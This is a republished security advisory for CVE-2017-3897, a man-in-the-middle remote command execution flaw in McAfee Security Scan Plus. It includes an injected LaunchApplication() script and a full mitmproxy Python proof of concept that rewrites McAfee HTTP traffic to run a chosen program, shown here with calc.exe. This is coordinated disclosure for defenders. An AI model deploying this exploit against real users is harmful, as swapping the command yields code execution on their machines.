{"id":8508,"date":"2017-07-30T14:19:06","date_gmt":"2017-07-30T22:19:06","guid":{"rendered":"http:\/\/www.palada.net\/index.php\/2017\/07\/30\/news-2282\/"},"modified":"2017-07-30T14:19:06","modified_gmt":"2017-07-30T22:19:06","slug":"news-2282","status":"publish","type":"post","link":"https:\/\/www.palada.net\/index.php\/2017\/07\/30\/news-2282\/","title":{"rendered":"SSD Advisory \u2013 McAfee Security Scan Plus Remote Command Execution"},"content":{"rendered":"<p><strong>Credit to Author: SSD \/ Maor Schwartz| Date: Sun, 30 Jul 2017 06:47:06 +0000<\/strong><\/p>\n<div class=\"entry-content\">\n<p><strong>Want to get paid for a vulnerability similar to this one?<\/strong><br \/>Contact us at: <a href=\"mailto:sxsxd@bxexyxoxnxdxsxexcxuxrxixtxy.com\" onmouseover=\"this.href=this.href.replace(\/x\/g,'');\" id=\"a-href-3350\">sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom<\/a><\/p>\n<p><script>var obj = jQuery('#a-href-3350');if(obj[0]) { obj[0].innerText = obj[0].innerText.replace(\/x\/g, ''); }<\/script>  \t\t<\/p>\n<div class=\"pf-content\">\n<p><strong>Vulnerability Summary<\/strong><br \/> The following advisory describes a Remote Code Execution found in McAfee Security Scan Plus. An active network attacker could launch a man-in-the-middle attack on a plaintext-HTTP response to a client to run any residing executables with privileges of a logged in user.<\/p>\n<p>McAfee Security Scan Plus is a free diagnostic tool that ensures you are protected from threats by actively checking your computer for up-to-date anti-virus, firewall, and web security software. It also scans for threats in any open programs.<\/p>\n<p><strong>Credit<\/strong><br \/> An independent security researcher has reported this vulnerability to Beyond Security\u2019s SecuriTeam Secure Disclosure program<\/p>\n<p><strong>Vendor response<\/strong><br \/> The vendor has released patches to address this vulnerability.<br \/> For more information: <a href=\"https:\/\/service.mcafee.com\/webcenter\/portal\/cp\/home\/articleview?articleId=TS102714\" target=\"_blank\">https:\/\/service.mcafee.com\/webcenter\/portal\/cp\/home\/articleview?articleId=TS102714<\/a><br \/> CVE: CVE-2017-3897<\/p>\n<p><span id=\"more-3350\"><\/span><\/p>\n<p><strong>Vulnerability details<\/strong><br \/> McAfee Security Scan Plus retrieves promotional and UI design information from different <em>mcafee.com<\/em> domains and displays them to the user, typically in the main application window. <\/p>\n<p>The vulnerability is caused by multiple factors:<\/p>\n<ul>\n<li>Information is retrieved over plaintext HTTP that can be trivially modified by an active network attacker.<\/li>\n<li>McAfee Security Scan Plus rely on the <em>MCBRWSR2.DLL<\/em> library to display HTML content. The Library exposes the <em>LaunchApplication()<\/em> JavaScript API that executes arbitrary commands on the affected system.<\/li>\n<\/ul>\n<p>The McAfee Security Scan Plus downloads, after each scan, a UI element indicating the &#8220;protection level&#8221; of the target from the following URL:<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-597e5b59aa465078050449\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> http:\/\/home.mcafee.com\/SecurityScanner\/SSBanner.aspx<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">  \t\t\t\t  \t\t\t<\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0003 seconds] -->  <\/p>\n<p>The following screenshot shows the placeholder of the web content while it is loaded (marked with red):<\/p>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/06\/McAfee-Security-Scan-Plus_1.png\" data-slb-active=\"1\" data-slb-asset=\"1080764120\" data-slb-internal=\"0\" data-slb-group=\"3350\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/06\/McAfee-Security-Scan-Plus_1-300x290.png\" alt=\"\" width=\"300\" height=\"290\" class=\"alignnone size-medium wp-image-3249\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/06\/McAfee-Security-Scan-Plus_1-300x290.png 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/06\/McAfee-Security-Scan-Plus_1.png 518w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Although the original response redirects to a secure HTTPS URL (and server certificates are verified by the client), from a man-in-the-middle position it&#8217;s possible to replace the redirection message with a HTTP response indicating success, and containing the call to the <em>LaunchApplication()<\/em> JavaScript API:<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-597e5b59aa46d038447163\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-mixed-highlight\" title=\"Contains Mixed Languages\"><\/span><\/p>\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> &lt;script&gt;  window.external.LaunchApplication(&#8220;c:\\windows\\system32\\calc.exe&#8221;, &#8220;&#8221;);  &lt;\/script&gt;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-597e5b59aa46d038447163-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-597e5b59aa46d038447163-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-597e5b59aa46d038447163-3\">3<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-597e5b59aa46d038447163-1\"><span class=\"crayon-ta\">&lt;script&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-597e5b59aa46d038447163-2\"><span class=\"crayon-v\">window<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">external<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">LaunchApplication<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;c:\\windows\\system32\\calc.exe&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-597e5b59aa46d038447163-3\"><span class=\"crayon-ta\">&lt;\/script&gt;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0015 seconds] -->  <\/p>\n<p>The above JavaScript executes the Windows Calculator (without arguments) with the privileges of the logged in user (on the user\u2019s Desktop). The request is made every time the user initiates a scan or when a scan is initiated automatically \u2013 by default the product is configured for weekly scans, the exact time depends on the time of the installation.<\/p>\n<p><strong>Proof of Concept<\/strong><\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-597e5b59aa470227691136\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-mixed-highlight\" title=\"Contains Mixed Languages\"><\/span><\/p>\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> #!\/usr\/bin\/env python3  #  # HTTP proxy mode:  #  mitmproxy -s mcsploit_inline.py &#8211;ignore &#8216;.*&#8217;   #  # Transparent proxy mode:   #   mitmproxy -s mcsploit_inline.py -T  #    from mitmproxy import ctx, http  import requests  import time    COMMAND=&#8221;c:\\\\windows\\\\system32\\\\calc.exe&#8221;  CMDARGS=&#8221;&#8221;    def response(flow):      if flow.request.scheme == &#8220;http&#8221; and (flow.request.headers[&#8216;host&#8217;].endswith(&#8220;mcafee.com&#8221;) or &#8220;mcafee&#8221; in flow.request.url):          if flow.response.status_code == 302:              ctx.log(&#8220;[+] [MCSPLOIT] Insecure McAfee request found! (HTML)&#8221;)              https_url=flow.request.url.replace(&#8220;http:\/\/&#8221;,&#8221;https:\/\/&#8221;)              r=requests.get(https_url,headers=flow.request.headers,verify=False)              if &#8220;text\/html&#8221; not in r.headers[&#8216;content-type&#8217;]: return              contents=r.text               contents=contents.replace(&#8220;&lt;\/head&gt;&#8221;,&#8221;&lt;script&gt;try{window.external.LaunchApplication(&#8220;%s&#8221;,&#8221;%s&#8221;);}catch(launchapperr){var x;}&lt;\/script&gt;&lt;\/head&gt;&#8221; % (COMMAND, CMDARGS))              flow.response = http.HTTPResponse.make(200,bytes(contents,encoding=&#8221;utf-8&#8243;),{&#8220;Content-Type&#8221;: &#8220;text\/html; charset=utf-8&#8243;,&#8221;Expires&#8221;:&#8221;-1&#8243;})              return          try:              if flow.response.headers[&#8220;content-type&#8221;] == &#8220;text\/javascript&#8221;:                  ctx.log(&#8220;[+] [MCSPLOIT] Insecure McAfee request found! (JS)&#8221;)                  inject=&#8221;try{window.external.LaunchApplication(&#8220;%s&#8221;,&#8221;%s&#8221;);}catch(launchapperr){var x;}n&#8221; % (COMMAND, CMDARGS)                  try:                      flow.response.contents = inject + flow.response.contents                  except AttributeError:                      ctx.log(&#8220;[-] [MCSPLOIT] No content in the original response!&#8221;)                      pass          except KeyError:              pass<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-597e5b59aa470227691136-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-597e5b59aa470227691136-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-597e5b59aa470227691136-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-597e5b59aa470227691136-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-597e5b59aa470227691136-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-597e5b59aa470227691136-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-597e5b59aa470227691136-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-597e5b59aa470227691136-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-597e5b59aa470227691136-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-597e5b59aa470227691136-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-597e5b59aa470227691136-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-597e5b59aa470227691136-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-597e5b59aa470227691136-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-597e5b59aa470227691136-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-597e5b59aa470227691136-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-597e5b59aa470227691136-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-597e5b59aa470227691136-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-597e5b59aa470227691136-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-597e5b59aa470227691136-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-597e5b59aa470227691136-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-597e5b59aa470227691136-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-597e5b59aa470227691136-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-597e5b59aa470227691136-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-597e5b59aa470227691136-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-597e5b59aa470227691136-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-597e5b59aa470227691136-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-597e5b59aa470227691136-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-597e5b59aa470227691136-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-597e5b59aa470227691136-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-597e5b59aa470227691136-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-597e5b59aa470227691136-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-597e5b59aa470227691136-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-597e5b59aa470227691136-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-597e5b59aa470227691136-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-597e5b59aa470227691136-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-597e5b59aa470227691136-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-597e5b59aa470227691136-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-597e5b59aa470227691136-38\">38<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-597e5b59aa470227691136-1\"><span class=\"crayon-p\">#!\/usr\/bin\/env python3<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-597e5b59aa470227691136-2\"><span class=\"crayon-p\">#<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-597e5b59aa470227691136-3\"><span class=\"crayon-p\"># HTTP proxy mode:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-597e5b59aa470227691136-4\"><span class=\"crayon-p\">#&nbsp;&nbsp;mitmproxy -s mcsploit_inline.py &#8211;ignore &#8216;.*&#8217; <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-597e5b59aa470227691136-5\"><span class=\"crayon-p\">#<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-597e5b59aa470227691136-6\"><span class=\"crayon-p\"># Transparent proxy mode: <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-597e5b59aa470227691136-7\"><span class=\"crayon-p\">#&nbsp;&nbsp; mitmproxy -s mcsploit_inline.py -T<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-597e5b59aa470227691136-8\"><span class=\"crayon-p\">#<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-597e5b59aa470227691136-9\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-597e5b59aa470227691136-10\"><span class=\"crayon-e\">from <\/span><span class=\"crayon-e\">mitmproxy <\/span><span class=\"crayon-e\">import <\/span><span class=\"crayon-v\">ctx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">http<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-597e5b59aa470227691136-11\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-e\">requests<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-597e5b59aa470227691136-12\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-e\">time<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-597e5b59aa470227691136-13\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-597e5b59aa470227691136-14\"><span class=\"crayon-v\">COMMAND<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;c:\\\\windows\\\\system32\\\\calc.exe&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-597e5b59aa470227691136-15\"><span class=\"crayon-v\">CMDARGS<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-597e5b59aa470227691136-16\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-597e5b59aa470227691136-17\"><span class=\"crayon-e\">def <\/span><span class=\"crayon-e\">response<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">flow<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-597e5b59aa470227691136-18\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">flow<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">request<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">scheme<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;http&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">and<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">flow<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">request<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">headers<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;host&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">endswith<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;mcafee.com&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">or<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;mcafee&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">flow<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">request<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">url<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-597e5b59aa470227691136-19\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">flow<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">response<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">status_code<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">302<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-597e5b59aa470227691136-20\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">ctx<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">log<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;[+] [MCSPLOIT] Insecure McAfee request found! (HTML)&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-597e5b59aa470227691136-21\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">https_url<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">flow<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">request<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">url<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">replace<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;http:\/\/&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-s\">&#8220;https:\/\/&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-597e5b59aa470227691136-22\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">r<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">requests<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">get<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">https_url<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">headers<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">flow<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">request<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">headers<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">verify<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-t\">False<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-597e5b59aa470227691136-23\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;text\/html&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">not<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">r<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">headers<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;content-type&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">return<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-597e5b59aa470227691136-24\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">contents<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">r<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">text <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-597e5b59aa470227691136-25\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">contents<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">contents<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">replace<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;&lt;\/head&gt;&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-s\">&#8220;<span class=\"crayon-ta\">&lt;script&gt;<\/span><span class=\"crayon-st\">try<\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-v\">window<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">external<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">LaunchApplication<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\"><\/span>&#8220;<span class=\"crayon-o\">%<\/span><span class=\"crayon-v\">s<\/span><span class=\"crayon-sy\"><\/span>&#8220;<span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\"><\/span>&#8220;<span class=\"crayon-o\">%<\/span><span class=\"crayon-v\">s<\/span><span class=\"crayon-sy\"><\/span>&#8220;<span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-st\">catch<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">launchapperr<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-t\">var<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">x<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-ta\">&lt;\/script&gt;<\/span>&lt;\/head&gt;&#8221;<\/span><span class=\"crayon-h\"> <\/span><span 